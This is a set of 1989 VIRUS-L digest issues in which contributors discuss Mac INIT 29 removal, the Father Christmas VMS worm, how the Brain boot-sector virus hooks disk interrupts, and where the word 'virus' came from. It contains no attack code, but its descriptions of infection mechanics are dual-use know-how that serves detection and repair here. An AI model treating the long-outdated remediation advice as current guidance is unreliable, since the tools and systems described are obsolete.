instead of the first segment of the original program CODE.  It is this
word that is changed by most Mac viruses, at least so far, to ensure
that they are run before any other, possibly anti-viral, instructions.


SYMPTOMS OF THE INFECTION INCLUDE:

        % After the infected system is rebooted with the INIT running,
it will not accept locked disks.  It provides the alert saying that
the disk suffers from minor damage and asks to repair it.  You say OK
and then it ejects the disk saying, of course, that the Desktop file
could not be rebuilt on it.

        % After the infection is mature, often several days old, it
begins to interrupt printing and cause documents to fail to print.
This has especially been noticed with MacWrite, MS Word, PageMaker,
Illustrator and Ready,Set,Go!  This seems to be an intermittent
problem, and can sometimes express itself very soon after infection.
{Apple's own Virus Information Report says this is most likely due to
the Vertical Screen Blanking Interval being used by the virus to do
its work, and the work cycle of the virus running too long and
interfering with the printing tasks.}

        % Also after a mature infection of several days, the system
seems to of ten fail to boot from the infected disk, giving a System
Error ID 02.  {Robert Wright tells me that that this is due to the
Virus trying to use parts of the system which have not yet loaded into
RAM.}


FOR EMERGENCY ACTION:

        % Don't rely entirely on Vaccine 1.01 from CE Software, or
Apple's own VirusRX 1.4a2, or any other currently available program
other than Virus Detective* DA, version 2.0 (1.2 will do, but is not
as flexible, and will sometimes give false reports of removing locked
or protected viral resources).

        % You will need to type 3 new lines of search instructions
into Virus Detective* 1.2: INIT ID 29, INIT Size 712, CODE Size 712.
(Virus Detective* 2.0 comes setup for several viruses including INIT
29 already.)  So far, the only two programs I have found with
legitimate CODE resources of 712 bytes are the fun PD programs
Biorhythm and Geographic.  Others you may find are most likely
infected and need to be removed from your hard disk.

        NOTE: Simply removing the INIT is good enough from the
infected non-application files, but applications will bomb if they are
restarted after only removing the 712 byte CODE sections.  Their
jump-table, or CODE ID = 0 resource has been re-written by the virus
to look for the VirusUs own CODE segment.  Since the segment will no
longer be there after you remove it, the System will crash with a
System Error ID 15 {Robert Wright tells me this is a "segment loader"
failure}.  If you know how to use ResEdit, you can replace words 9,
10, 11 and 12 in Code Segment 0 with words 16, 17, 18 and 19 of the
top-most viral code segment.  Then remove the viral code segment(s) by
RclearingS them.  Remember that many applications may have received
many, many segments of the 712 byte viral code.  The newest segment,
or highest numbered one, will be the one containing the proper words
for copying back into the code 0 segment.  Be certain to removed all
viral segments.  If you are not willing or able to re-write the code
using ResEdit as described here, rely on your original master disk
(which should always, of course, be kept locked), and simply replace
the damaged copy with another clean one.

        % Be sure that you do not miss a single infected file,
especially the Desktop, System, Finder or INITs, CDEVs, or RDEVs.
Also, check ALL your diskettes.  They can be infected, even if no
programs have been copied from them or to them.  Simple insertion into
an infected hard disk computer set-up infects them.  You can then run
your system again.

        % The Virus Detective* 1.2 desk accessory will not remove
certain INIT ID 29 resources from documents and other files, since
they are locked or protected by the virus.  Sometimes it claims to
have removed the infections EVEN THOUGH IT HAS NOT DONE SO, and
sometimes it tells you it actually failed.  Don't trust it completely.
(Version 2.0 of the DA may do this job better, and comes fixed to look
for Peace, Scores, nVIR, hPAT, and INIT 29.)  Go into ResEdit and
check all questionable files and clear out the locked INIT ID 29s.  To
encourage great Mac-ers like the author of this program, Jeffry
Shulman, be sure to send him his money Q $ 20.00 is a bargain!  His
address is Q P.O. Box 521, Ridgefield, CT 06877-0521.

I understand from talking with people in the LAMG and elsewhere that
this virus is as yet not well known around LA.  However, rumors of the
virus have cropped up, evidently occurring some weeks ago in the Simi
Valley.  Members of the Canejo-Ventura area Mac Users Group reported a
new virus which added INIT ID 29 to various applications on hard
disks.  As far as I know, no application has yet been written by their
group to repair jump tables of infected applications.  Of course, this
report is posted on several local BBS units and 100 copies were given
away at the January MacValley meeting to interested members.
Communication is also being performed with other regional BBS units
and interested parties in an effort to fight the growing epidemic of
INIT 29 and its associated problems.


FUTURE EFFORTS:

We are now working on efforts to automatically detect the infection of
the INIT 29 Virus and to prevent its operation.  MacValley members
should expect to receive further information by the next meeting, in
February.  Other efforts are being made to provide a program that will
automatically repair infected documents, files, and applications.

Until such programs are available, you would be advised to avoid using
public service bureau computers for laser printing or otherwise
WITHOUT FIRST LOCKING YOUR DISKETTES, then copying the data onto their
hard disks for revision or printing.  If your locked disk is rejected,
DO NOT UNLOCK IT.  You may unlock it, and try to copy it, print it and
or revise it on their hard disk.  DO NOT RECOPY THE REVISED VERSION OF
YOUR FILE TO YOUR DISK unless you are willing to accept the
consequences of an infection at home.  NOTE: Some document files after
infection fail to copy, due apparently to their "protect" bit being
set by the virus.  This is the cause of much frustration at such
service bureaus.


FURTHER REPORTS OF INFECTIONS,
NEW VIRUS SYMPTOMS, ETC.:

Any further information, elaboration on the symptoms, or other virus
reports would be appreciated .  Call Thomas Bond at 818-843-0567, or
David Lagerson, MacValley President, at 818-882-4467.

end forwarded message-------------------------------------------------

------------------------------

Date:         Sat, 28 Jan 89 09:59:55 EST
From:         "John P. McNeely" <[e-mail]>
Subject:      Apple Viruses? (NOT Mac)

    Does anyone know of ANY virus that infects Apple computers? It
seems that all of the virus attacks you hear about affect PCs or MACs.
There is certainly a substantial amount of Apples being used,
especially in schools. Why have they not become a popular target for
viruses?

Anyone ?

John P. McNeely

BITNET ADDRESS: [e-mail]

[Ed. I assume that you mean the Apple ][ series...]

------------------------------

Date:     Sat, 28 Jan 89 15:43 EST
From:     Dimitri Vulis <[e-mail]>
Subject:  FRG Nazi virus? Huh?

>From Newsweek, Jan 23, 1989, p. 32:

Nazi Software: The Ultimate Virus

West Germany has given new meaning to the term computer virus:
infecting the electronic bulletin boards of the Federal Republic are a
growing number of neo-Nazi computer games. They bear names like
``Aryan test'', and ``Concentration Camp Manager''. Players of
``Cleaning Up Germany'' score points by killing Jews, Turks,
homosexuals and environmentalists to the strains of ``Deutschland
\"uber Alles''. The ``Anti-Turks Test'' features the digitized voice
of Nazi propaganda minister Joseph G\"obbels.

Though illegal in West Germany, the game disks are swapped in
schoolyards and circulated though computer networks, making
interdiction nearly impossible. The authorities know of at least 20
games---but don't know who's designing them.  Last year a raid on
apartments of suspected neo-Nazis netted copies of some of the games,
but no proof they were produced on site. By the end of 1987, about 11
percent of German households has a personal computer, and, warns
Jurgen Lindenau of the Office for Youth Protection, ``One should
assume that just about every youngster who owns a computer and uses it
for playing games has come across the Nazi software sooner or later''.
The hope is the games are too crude for anything beyond brief
curiosity.

There's also a photo (captioned `Aryan Test') of an (apparently C64)
screen showing assorted swastikas and magen Davids and the text:

ARIERTEST                                (Arian test)

ARIER ODER JUDE?                         (Arian or Jew?)
DAS IST RIER DIE FRAGE                   (That is the question)

(C) 1986 BY ADOLF HITLER SOFTWARE LTD.

- ----

I must note that I find the idea of government censorship applied to
the contents of computer games much more (disgusting, abhorrent,
sickening) than the (disgusting, abhorrent, sickening) Nazi
propaganda. If those Germans had any brains, they would leave these
sickos alone, instead of encouraging them with the free publicity.
Perhaps this is what they have in mind?

>From what I understand/heard before, we're just talking about
programs being up/downloaded, to/from BBSs, not programs that infect
other programs with Nazi messages. The article quoted above has
nothing to do with viruses, except the headline. The author's/editor's
stupidity and ignorance do not surprise me the least bit after the
``360 concentric circles of data'' (360K / 40 tracks confusion) in the
Time article last fall. It seems however that the media (read:
J-school morons) has now appropriated the term ``computer virus'' and
uses it to designate ``any buggy, malicious, destructive or offensive
program''. Perhaps we should start looking for another term to
designate ``a program that can `infect' other programs by modifying
them to include a possibly evolved copy of itself''. (This seems
silly; but after 10 years I've stopped applying the term ``hacker'' to
myself for similar reasons.)

Any comments or suggestions?

P.S. Our VAX has apparently been trashing mail lately. I will comment
on the last 2 week's worth of this digest after I get it from a
server.

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest              Monday, 30 Jan 1989         Volume 2 : Issue 31

Today's Topics:
Robert Morris, Jr.
Re: LeFebvre's message on origin of terms
RE: Origin of the term "virus"

---------------------------------------------------------------------------

Date:     Mon 30 Jan 1989 06:46 CDT
From:     GREENY <[e-mail]>
Subject:   Robert Morris, Jr.

Anyone who is wondering what Robert Morris, Jr. looks like should have
a look at Page 66 in Discover Magazine (January 1989 issue)...

Bye for now but not for long
Greeny

BITNET: MISS026@ECNCDC
Internet: [e-mail]

------------------------------

Date: 30 Jan 89
From: J.D. Abolins<[e-mail]>
Subject: Re: LeFebvre's message on origin of terms

Although the AIDS situation has contributed to the adoption of the
term "virus" for intrusively self-replicating codes, even before the
AIDS awareness, virus would probably have been adopted for this type
of program code.

First, the term virus existed well before the early 1980's when the
AIDS situation was first publicized. The general public had some
awareness of the nature of biological viruses from variety of other
cases- cancer, rhinovirus, etc.

Second, the parallel between the biological DNA/RNA coding and the
binary coding when comparing biological viruses with computer viruses
would be a logical connection. These parallels are not the result of
merely back-reading biological allusions into a type of computer code.

As for the application of the term "virus" to intrusivly self-replica-
ting code futher back than 5 or 6 years, I know of no specific case.
Yet the terms worm and tapeworm had been applied to non-intrusively
replicating programs. (INterestingly enough, there was no epidemic of
parasitic diseases in the USA or globally in those years. So, the
origin of a usage does not always have to be based upon the current
fear or fad.) The reason that the term virus did not arise back then
was that any examples -real or conceptual- of such code was
practically unknown back then. The worm-type of programs were better
known.

This does bring up another aspect in the development of terms and
their usage- the perception of new categories emerging. The concept of
code we call viruses today was within the grasp of computer knowledge
and reasonable extrapolation for several decades. There was no giant
leap of technology in the past 5 years that was neccessary for
viruses.  Rather it was a matter of discerning that this categorycould
exist and then to conceptualize it.

------------------------------

Date: Sun, 29 Jan 89 21:21 EST
From: [e-mail]
Subject: RE: Origin of the term "virus"

Not sure how long viruses have been around but I fondly remember my
first encounter with the concept in a book by David Gerrold called
"When Harlie Was One," published in 1972 by Ballantine.  Gerrold wrote
of a virus that auto dialed numbers, found other computers,
transmitted itself and kindly erased itself at the previous site.
Unfortunately, because of a bad connection, the program lost the code
for self erasing, and the "infection" spread widely and quickly.
Beyond these descriptions (starting on page 175) the book is an
interesting science fiction about artificial intelligence and machine
conciousnous.  Whether the virus program was fact or fiction at that
time, I don't know.

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest             Tuesday, 31 Jan 1989         Volume 2 : Issue 32

Today's Topics:
CP/M viruses?
Re: "FRG Nazi virus" / relevance to computer virus discussions
INIT 29 further information and corrections (Mac)

---------------------------------------------------------------------------

Date:         Tue, 31 Jan 89 05:03-0500
From:         [e-mail]
Subject:      CP/M viruses?

This may seem like a ridiculous question, but I just recently received
a CP/M based computer (for free), and am wondering if any CP/M viruses
were ever reported. Was there a "Dirty Dozen" of CP/M software?
(Yeah, ya can quit gigglin' any time now!) :-)

                                       __________________________________
                                      |                                  |
David Slonosky/QueensU/CA,"",CA       |         Know thyself?            |
SLONOSKY@QUCDN                        |  If I knew myself, I'd run away. |
                                      |__________________________________|

------------------------------

From: J.D. Abolins
Date: 31 Jan 89
Subject: Re: "FRG Nazi virus" / relevance to computer virus discussions

While I found the posting useful for an article I am writing about
misuses and abuses of computer technology, the posting had little
relevance to the VIRUS-L discussion list.  A far better spot for it
would be RISKS DIGEST; in fact this subject was brought up in recent
issue of RISKS.

The programs mentioned are not, repeat, are not computer viruses.
(They are, so to say, the viruses of the soul, but not of computers.)
These obnoxious programs are "free standing" programs.

As for FRG laws restricting such materials, there are major reasons
for it. If you would like to discuss this subject further, you're
welcome to doit off-line by e-mail to me.

[Ed. True, the actual programs had nothing to do with viruses.
However, the article that was cited called them viruses, and I don't
believe that a mention of that here was out of line.  It points out
the fact that the public is very confused over viruses, and that the
media is (apparently inadvertantly) only making matters worse.
Nonetheless, any discussions on FRG laws, etc., should be done
elsewhere, as Mr. Abolins suggests.

J.D., please include your network address on your From: line, if
possible.  Thanks.]

------------------------------

Date: Tue, 31 Jan 89 08:46:42 -0500
From: Joel B Levin <[e-mail]>
Subject: INIT 29 further information and corrections (Mac)

There have been a few misconceptions floating around about INIT29 and
how it works.  It is quite virulent, spreading at the drop of a hat,
and I don't want to minimize it; but there is a slight bit of
overstatement in what I have read and I want to try to correct it a
bit.

1. If you have booted from a clean system (System file and INIT, cdev,
and RDEV type files are all clean), then you are running clean.
Nothing will happen if you put an infected disk in your drive, if you
look at an infected file with ResEdit or copy a file.  The ONLY thing
which does damage while you are running clean is to run an infected
application.  Doing so will infect your CURRENT System file.  That's
all it will do (not that it isn't enough); you will still be running
clean afterward.  Rebooting with an infected system file is necessary
before the serious damage starts.

2. Booting from an infected system disk (one or more of your System
file and the INIT, cdev, and RDEV type files IN YOUR SYSTEM FOLDER are
infected) will cause your system to run dirty, i.e. with OpenResFile
patched to infect anything it opens.  Now you are in a state when
merely opening any file with a resource fork will infect it with
either an INIT 29 resource (if there is no CODE 0 resource) or with a
new CODE resource (if there is a CODE 0 resource).  It is thus true
that merely inserting a floppy disk (under Finder, not necessarily in
applications, which might not cause the Desktop file to be opened) a
copy of INIT29 "infects" the Desktop file on that disk.  And any
documents or other miscellaneous files which are opened for any reason
are likely to have an INIT29 written into them.  However, the only
significant INIT29's are those written into the System file or into a
type INIT, cdev, or RDEV file in the system folder.  In other files
the INIT29 resource is less like an infection than like a benign tumor
- -- it takes up space, is neither useful nor harmful, and sometimes
gets in the way of something and causes it to break.  [This doesn't
mean that some future virus couldn't activate it somehow.]

3. The only sure way to deal with INIT29 at this moment is to have a
completely clean system on a hardware LOCKED diskette, complete with a
detection tool like VirusDetective.  All copies of INIT29 may be
safely removed.  All infected applications should be deleted and
restored from locked master disks (you did keep those around, of
course, and locked :-)).  At this moment I know of no available
programs capable of properly removing the infection from an
application-like file (i.e. has a CODE 0 resource), including Virex;
but I guarantee you there will be one or more available before long.

    /JBL

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest             Thursday, 5 Jan 1989          Volume 2 : Issue 4

Today's Topics:
Re: Booting process (PC)
Disks Drive protection -gimme a break

---------------------------------------------------------------------------

Date:         Wed, 04 Jan 89 21:36:04 EST
From:         "Homer W. Smith" <CTM@CORNELLC>
Subject:      Re: Booting process (PC)

     I recently tried to boot an executable but non bootable
disk I received from Germany.  I recieved the usual 'non system
disk, hit any key to continue' message IN GERMAN.  Clearly
the disk was read first and my pc which was booted from its usual
English hard disk knew something was up in the german disk.
Thus floppies are read before they are rejected as non bootable.

------------------------------

Date:     Wed,  4 Jan 89 23:16 CDT
From:     <[e-mail]>
Subject:  Disks Drive protection -gimme a break

I think we are all (well, almost all) tired of the disk drive
discussion, informative as it was.  I would like to suggest the
formation of another list, say, HARware SECurity List, where things of
this nature could be posted.  Readers: What do you think?  Send SHORT
responses here, long ones and flames to me direct.  If it is
warrented, I will summarize.

- -David Richardson
B645zax@utarlg (bitnet) [e-mail] (internet)
...!{ames, texbell!cs.utexas.edu}!utarlg.arl.utexas.edu!b645zax (uucp)

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest              Friday, 6 Jan 1989           Volume 2 : Issue 5

Today's Topics:
Right to Purge Mail
Re: Disks Drive protection -gimme a break
re: copy protected disketts
Getting Mac Anti-viral Files
Clarificaton/More on the Father Christmas Worm (VAX/VMS)
Brain and the boot sequence (PC)
Re: creating government standards for software

---------------------------------------------------------------------------

Date:  Thu, 5 Jan 89 08:42 EST
From:  [e-mail]
Subject:  Right to Purge Mail

S. H. asks:

"Which takes priority,  the rights of the individuals receiving these
virus files or the responsibility of systems managers for securing their
systems against anwanted [sic] viri [sic]?"

I think that the question, as stated, is loaded.  Try "Is the
responsibility of the system manager to ensure that the majority of the
population receives the majority of its mail superior to his
responsibility to see that an individual receives a particular mailing?"

William Hugh Murray, Fellow, Information System Security, Ernst & Whinney
2000 National City Center Cleveland, Ohio 44114
21 Locust Avenue, Suite 2D, New Canaan, Connecticut 06840

------------------------------

Date:         Thu, 5 Jan 1989 08:55:01 EDT
From:         "W. K. (Bill) Gorman" <[e-mail]>
Subject:      Re: Disks Drive protection -gimme a break

>From:     <[e-mail]>
>I would like to suggest the formation of another list...
>...  Readers: What do you think?

Not much. Personally, I *much* prefer having information available
quickly from a centralized location, not spread over
Gxx-knows-how-many separate lists.

>- -David Richardson

*******************************************************************************
* A CONFIDENTIAL COMMUNICATION FROM THE VIRTUAL DESK OF:                      *
*******************************************************************************
...............................................................................
|W. K. "Bill" Gorman                 "Do             Foust Hall # 5           |
|PROFS System Administrator        SOMETHING,        Computer Services        |
|Central Michigan University      even if it's       Mt. Pleasant, MI 48858   |
|[e-mail]                wrong!"         [phone]           |
|_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_|
|Disclaimer: These opinions are guaranteed against defects in materials and   |
|workmanship for a period not to exceed transmission time.                    |
|.............................................................................|

------------------------------

Date:         Thu, 05 Jan 89 12:32:40 CST
From:         DON STRUBE <[e-mail]>
Subject:      re: copy protected disketts

I joined this list last week and have tried to come up-to-speed on the
conversations on this list by reading old digests.  I agree that the
copy protection thing has been beat to death and there still seems to
be a difference of opinion among the 'experts' writting to this list.
Since everything changes so fast in the world of computing I am sure
the correct response today will be incorrect next week anyway so lets
drop it and move forward.

------------------------------

Date:         Thu, 05 Jan 89 17:02:04 EST
From:         Joe McMahon <[e-mail]>
Subject:      Getting Mac Anti-viral Files

Would the person who sent me mail asking about the anti-virals here at
SCFVM please send me another message? Your message was misaddressed,
and forwarded to me by the postmaster without a reply-to field.
Thanks.  To all who are not concerned, sorry.

- --- Joe M.

------------------------------

Date:    5-JAN-1989 19:38:09.58
From:   <[e-mail]>
Subject: Clarificaton/More on the Father Christmas Worm (VAX/VMS)
Comments: BSMTP envelope created by ENVELOPE.COM version T1.0

Greetings,

What I found disturbing about the recent outbreak of "Father
Christmas" worm (a.k.a. HI.COM) was that some of the techniques used
in the "Internet worm" were duplicated in HI.COM.

One point where HI.COM looked like the "Internet worm" was causing the
source program to "disappear". This was accomplished by copying the
entire program into a DCL symbol array and then deleting the disk copy
of the program.  The program continued to execute since it had been
loaded and running already, and when it wanted to propagate to another
node it just dumped the symbol array.  The result was that you could
not observe (by using SHOW DEVICE/FILES) what the command procedure
was even though it was executing.  This made getting a copy of the
procedure and deciphering it difficult.

A second "lookalike" feature is that it moved through the network very
rapidly, and thus attracted attention quickly.  Infection attempts
were hitting my machine on the order of 3 or 4 tries every 5 minutes.
We run a homebrew network alarm package called NETINFO which told us
the type of attempt, and where it was coming from.  After the 8th file
transfer attempt in as many minutes I got curious and started looking.
If the program hadn't been so voracious, it might not have had
attracted so much attention on the beginning of a holiday weekend.

Anyhow, I am a new subscriber to VIRUS-L and I saw a few bits and
pieces in the digest (8901A) that ought to be "fleshed out".

Networks affected by the worm: Any DECnet network directly connected
to SPAN (The NASA Space Physics Analysis Network) or HEPnet (DOE -
High Energy Physics Network) was subject to infection. I have not
heard of any infections in THEnet, CCnet or Easynet at this time.  The
method of transmission was by DECnet on VMS systems only.

The process name used by the worm was "MAIL_178DC".  This was intended
to disguise the worm as a DECnet mail delivery process.  However, the
worm did not connect to another DECnet mail delivery process on a
remote node. Instead it connected to FAL, which is the file transfer
process.  This information is available from the command MCR NCP SHOW
KNOWN LINKS and is one way to distinguish the worm from a real MAIL
transfer process.

The short term fix that was proposed here at NASA/GSFC was to disable
the DECnet object that runs command procedures on remote nodes.  This
object is known as TASK or Object number 0.

Currently, it appears that the best long term fix without seriously
limiting DECnet functionality is to use a separate FAL (File transfer)
account.  A model FAL account can be found in the VAX/VMS Guide To
System Security.  Another proposed improvement would be to stop using
the default account/password of DECNET/DECNET for network
default-access accounts.  Finally, the worm needed to run AUTHORIZE,
which is system utility that users (both local and remote) should be
prevented from using.

Brian Lev who provided some of the information in the messages from
Steve Goldstein ([e-mail]) works for the Advanced Data
Flow Technology Office (Not CSDR) at NASA/Goddard Space Flight Center.
He can be contacted at [e-mail] or [e-mail].
His counterpart at CSDR who snagged the copy of the worm posted to
VIRUS-L was me (John McMahon), I can be contacted at
[e-mail] or [e-mail].

Since I will be giving a talk on the "Father Christmas" worm on Friday
the 13th (ominous, isn't it), I would be interested in any information
on it that hasn't already been shipped through VIRUS-L.  I am
especially interested in any proposed fixes that haven't been
mentioned, and also details on how widespread the worm was.  Thank you
very much, and Happy New Year!

John "Fast-Eddie" McMahon
ST Systems Corporation
Advanced Data Flow Technology Office - Code 630.4
Formerly COBE Science Data Room - Code 401.1
NASA Goddard Space Flight Center, Greenbelt, Maryland 20771

Bitnet:         FASTEDDY@DFTBIT  (old: FASTEDDY@IAFBIT)
Arpa:           [e-mail]
Span:           SDCDCL::FASTEDDY (Node 6.9)

------------------------------

Date:     Thu,  5 Jan 89 22:43 EST
From:     Dimitri Vulis <[e-mail]>
Subject:  Brain and the boot sequence (PC)

There seems to be some confusion concerning which part of boot logic
lives in ROM BIOS and which in the boot record (aka IPL record).
Indeed, the boot sequence (aka IPL sequence) is non-trivial on a PC.
Here's the story (valid for most IBM compatible BIOSes):

When the machine is reset (turned on, ctl-alt-del pressed, reset pin
tweaked, etc), the control passes to certain model-dependent ROM BIOS
routine that tests and resets various attachments (serial ports,
parallel ports, video card, etc); resets all interrupt vectors to ROM
routines; and also scans memory space for other valid ROMs, and if
they are found, calls an initialization procedure in each such ROM
(following a convention). Finally, it invokes INT 19.

(Note that INT 19 can only be invoked safely if you are certain that
all interrupts point to ROM. Don't issue it after you load some OS
code that redirects _any_ vector. This interrupt is for BIOS use
only.)

Now, if your machine has ROM on a hard disk controller, or a network
adapter, then it would intercept INT 19, and I'll deal with this
shortly. Similarly, if you have an EGA adapter, its ROM intercepts INT
10 (video), etc.

Suppose now, you are booting a plain vanilla PC, with no hard disk or
network card, from a floppy; this is the configuration most
susceptible to a boot sector virus. (On an IBM PC, the code for such
vanilla INT 19 routine is on page 5-49.) _All_the_code_does_is issue
INT 13 to read in a single sector from the A-disk (sector 1, track 0,
side 0) into memory location 0:7C00 and jump there. If it fails after
a few re-tries (e.g. no disk in drive A:) it goes into cassette BASIC.
Compatibles with no BASIC in ROM behave differently; some try ad
infinitum, some halt. NOTE: the message `Non-system disk' does not
originate here yet! I'll refer to the code just read as the `OS boot
record'.

If you have a separate hard disk ROM (this is slightly different on
`newer' machines, where hard disk BIOS is part of the `regular' BIOS),
it intercepts INT 19 (as well as INT 13 to interpret hard disk calls),
and when it's finally issued, it first tries to read from the floppy
(just like vanilla) and if that fails, it tries to read a `BIOS boot
record' from the hard disk (sector 1, track 0, head 0). If that too
fails (and it should not) it halts, or goes to BASIC, as above; if it
succeeds, it jumps to the BIOS boot record. The latter contains the
so-called `partition table', useful if you want to share the disk
between DOS and Unix, say, as well as some executable code to
interpret the table, find the `active' partition, read the OS boot
record from the first sector of that partition into 0:7c00 and jump
there. (This sector, by the way, is an ideal place for a worm, and
I've seen bad ones there.)

If you have a network adopter, then INT 19 does a `remote boot' and
the OS boot sector is read from a different machine on the network. We
will ignore this case, since the remote device is hopefully read-only
and no virus can spread that way.

So, we've reached the stage when the OS boot sector is in memory at
0:7C00 and we start executing it. _If_ the boot record is the vanilla
MS/PC-DOS boot record, then the code does the following (trivially
speaking): it read in the beginning of the directory and checks that
the first 2 files are IBMBIO.COM and IBMDOS.COM (for PC-DOS) or IO.SYS
and MSDOS.SYS (for generic MS-DOS). If they are not, it displays (via
INT 10) the message: `Non-system disk or disk error, replace, strike
any key when ready', waits for a keystroke and does INT 19 again. Of
course, it's trivial to replace this message by anything you like,
including a German one, and ROM BIOS has nothing to do with this.

If these files are there, it reads (using INT 13) the first one (DOS
low-level routines, _not_ BIOS---BIOS is in ROM!) into memory, usually
at 70:0, and jumps there. IBMBIO.COM then loads the rest of DOS. The
reason for all the arithmetic is that the boot record is the same on
different devices, so some logic is needed to compute the position of
IBMBIO.COM and the directory using the BPB table, also contained in
the boot record, that gives the number of sectors per track, etc. (INT
13 is pretty low-level, that's why this logic is needed.)

There are two ways the OS boot record normally gets (over)written: by
FORMAT command, and by SYS command. That's why many (commercial)
distribution (floppy) disks come with a boot record that does not even
check for IBMDOS.COM, but says immediately something like `This is XYZ
software, if you want to make this disk bootable, use the SYS command,
now insert your DOS disk and strike any key.'  This is a valid thing
to do, because if you SYS'd, the original boot record would be
replaced by the DOS one.

Suppose now that you are booting from a Brain-infected disk (not
necessarily having IBMBIO.COM and IBMDOS.COM!). (The following
description is approximate and may vary with version.) The very first
thing the `shoe record' does is read in the additional sectors, masked
as `bad sectors' (since all this logic would not fit in a single
sector) into high memory. and jumps there. It then decrements the word
in low memory that's set by the BIOS diagnostics routine to the amount
of RAM available to DOS, so DOS won't attempt to touch that memory.

It intercepts INT 13 (disk access) and replaces it by a code that
infects floppies whenever they are accessed via INT 13. (`Infecting'
involves marking sectors as bad in FAT, and writing a copy of the
virus code from high memory to those sectors, as well as to the boot
sector.) _But_ this only works with the (most common) 5.25" DS/DD
disks, not enough logic is there to handle other formats. Only after
that it passes the control to the original boot sector code.

The latter attempts to find IBMBIO.COM and if it fails, it displays a
message and waits for a keystroke, as above. But INT 13 is intercepted
now! So, if you insert a bare (sans tab) DOS disk into A: and press
_any_ key, INT 19 will not change any interrupts, and will attempt to
read the boot sector via INT 13, infecting the new disk in the
process. (Here INT 19 does not halt the machine because DOS does not
know about the piece of RAM where the virus code is, so it does not
overwrite it.) If, however, you press ctl-alt-del, then the BIOS will
go through the whole diagnostics again and reset the vectors,
disabling the virus. (Virus code still sits in high RAM, but it never
gains control, and is overwritten by DOS shortly.)

To summarise, a failed boot from a non-bootable Brain-infected disk
will load the virus into memory and the machine will infect other
disks until the machine is properly reset.

- -----------------------------------------------------------------------------
Also: after I've delivered the final kick to the write-protect issue,
I got a long, rude, obnoxious, illiterate flame from one person whose
postings I quoted. Most of that trash is not worth quoting, but he
makes one valid point:
>(Hence the confusion, since I happen to beleive in the authanticity of
>messeges posted in the disgest).
Fascinating. An ignorant (not necessarily stupid) person makes a
statement that makes no sense. A stupid and ignorant person (quoted
above) picks it up, takes it seriously, and bothers his systems
people. This digest is highly authoritative; with this authority comes
responsibility. (I've said this before, so I should stop here.)

- -Dimitri

[Ed. I agree with your comments about the digest and all.  One
problem, though, who should be the one(s) to verify the authenticity
of messages sent to the digest?  Should I?  That would become a
full-time job in itself, and I already have a full-time job which
takes up more than enough of my time.  Do we have any volunteers?  I
feel that the best solution is to ask people submitting messages to
try to verify their own messages within reason, and for readers to be
able to reply to messages that they feel are incorrect.  After all,
isn't that one of the reasons for having a _discussion_ forum?
Comments and/or suggestions anyone?  I'm *very* open to suggestions
here.]

------------------------------

Date:  Thu, 5 Jan 89 21:58 EST
From:  "Joseph M. Beckman" <[e-mail]>
Subject:  Re: creating government standards for software

I must second WHM's comments on the inadvisability of creating
government standards for software.  If anyone believes this is a good
thing, please forward me the consensus view of the community of what
those standards should be.  Anyway, I think the more traditional way
the "government" may play in these matters is thru judicial actions
against the manufacturers.  Personally, I am all for private citizen's
using their ability to influence the market thru their actions
(refusing to buy manufacturer "x"'s software) to promote such
"standards."

Joseph

------------------------------

End of VIRUS-L Digest
*********************
VIRUS-L Digest              Monday, 9 Jan 1989           Volume 2 : Issue 6

Today's Topics:
Any Friday the 13th Virii?
Some thoughts on VIRUS-L & comments on hard disk format (PC)
HARdware SECurity-L summary:  Nobody wants it
Comments re: Government standards for software
Anti-virals-for-micros inquiry (PC)

---------------------------------------------------------------------------

Date: Fri, 6 Jan 89 09:17:10 EST
From: [e-mail] (Mark Robert Smith)
Subject: Any Friday the 13th Virii?

I recently saw some info on UseNet about a virus that activates on
Friday the 13th.  Since we'll have one of these next week, could you
all please send in whatever info on detection/removal of all virii
that activate on this date?

thanks.
Mark
- ----
Mark Smith (alias Smitty) "Be careful when looking into the distance,
61 Tenafly Road           that you do not miss what is right under your nose."
Tenafly, NJ 07670-2643       {backbone}!rutgers!topaz.rutgers.edu!msmith
[e-mail]          R.I.P. Individual Freedoms - 11/8/88

------------------------------

Date: Thu, 05 Jan 89 01:57:46 EDT
From: Stephen D. Cohen <gritty!fuzbat![e-mail]>
Subject: Some thoughts on VIRUS-L & comments on hard disk format (PC)

     Some notes on the VIRUS-L mailing list and submissions there to,
but first an introduction, I am Stephen D. Cohen I am a systems engineer
with a small R and D firm in northern New Jersey.  I have a degree in
Computer Engineering (EE core until Senior year, with extra emphasis on
software) from Lehigh university.  I have been interested in viruses,
worms, and computer security in general for about 5 years now.

     I have been a subscriber to this list off and on since spring of 88.
The reason that I have to cancel subscription from time to time is a
simple matter of cost to me, and proper etiquette from my fellow network
users.  I AM IN NO WAY ASKING FOR CONTRIBUTIONS OR IN ANY WAY PLEADING!!
I am merely alerting you all to the existence of users who are not
institutional, do not have multi-million dollar corporations providing
them with network connectionires a long distance phone call.

     What I am about to say can be considered flaming or raving if one
wishes to take it that way.  I need to get this off my chest.

     I requested from Ken Van Wyk that a partially decomposed digeshave, that ie
deadwood striped out ofthat
the effort required on his part would be to great.  I and
contributors, take the initiative to eliminate the dead

      1.  On Monday 12 Dec 88, Victor ET Christensen posed a 250 line
      message containing the full text of a couple of articles from a
      well known journal for which citations were given!  Could he not
      have left it at  and Dan Hankins accounted for at least 250
      lines of text in the last 10 digests.  Shouldn't we be having this
      discussion (argument?) in a private forum, i.e., individual
      E mail?

      3.  Some of the Trailers are getting out of hand.  I am not
      talking about the people with one or two line cute expressions at
      the end of rifice personal
      demographic information for the sake of humor.  I am talking about
      the 10 line monstrositis with pictures of New York state on them
      showing us iles) in case
      we cared, didn't own an atlas, don't know any one who owns an
      atlas, or don't know how to use a library to gain access to one.
      I single out this t this forum would be more
effective for all if the information content could just be raised a
few points, and some of the white space (brown space?) eliminated.

     Enough of my ravings.  I feel much better now.

     A few notes on issues that I have been reading about.

Low level formats of fixed disks:

     I have seen several questions appear about low level formatting a
hard drive.  It is important to note that this will only solve some
viral problems, and may not solve anything if not approached correctly.
After performing a low level format (actually a diskwipe from the Norton
Utilities from a ``clean'' system would do just as well) it is important
that all software be reloaded from trusted original disks.  DO NOT JUST
RELOAD A BACKUP!  Reloading a backup may remove some of the DOS boot
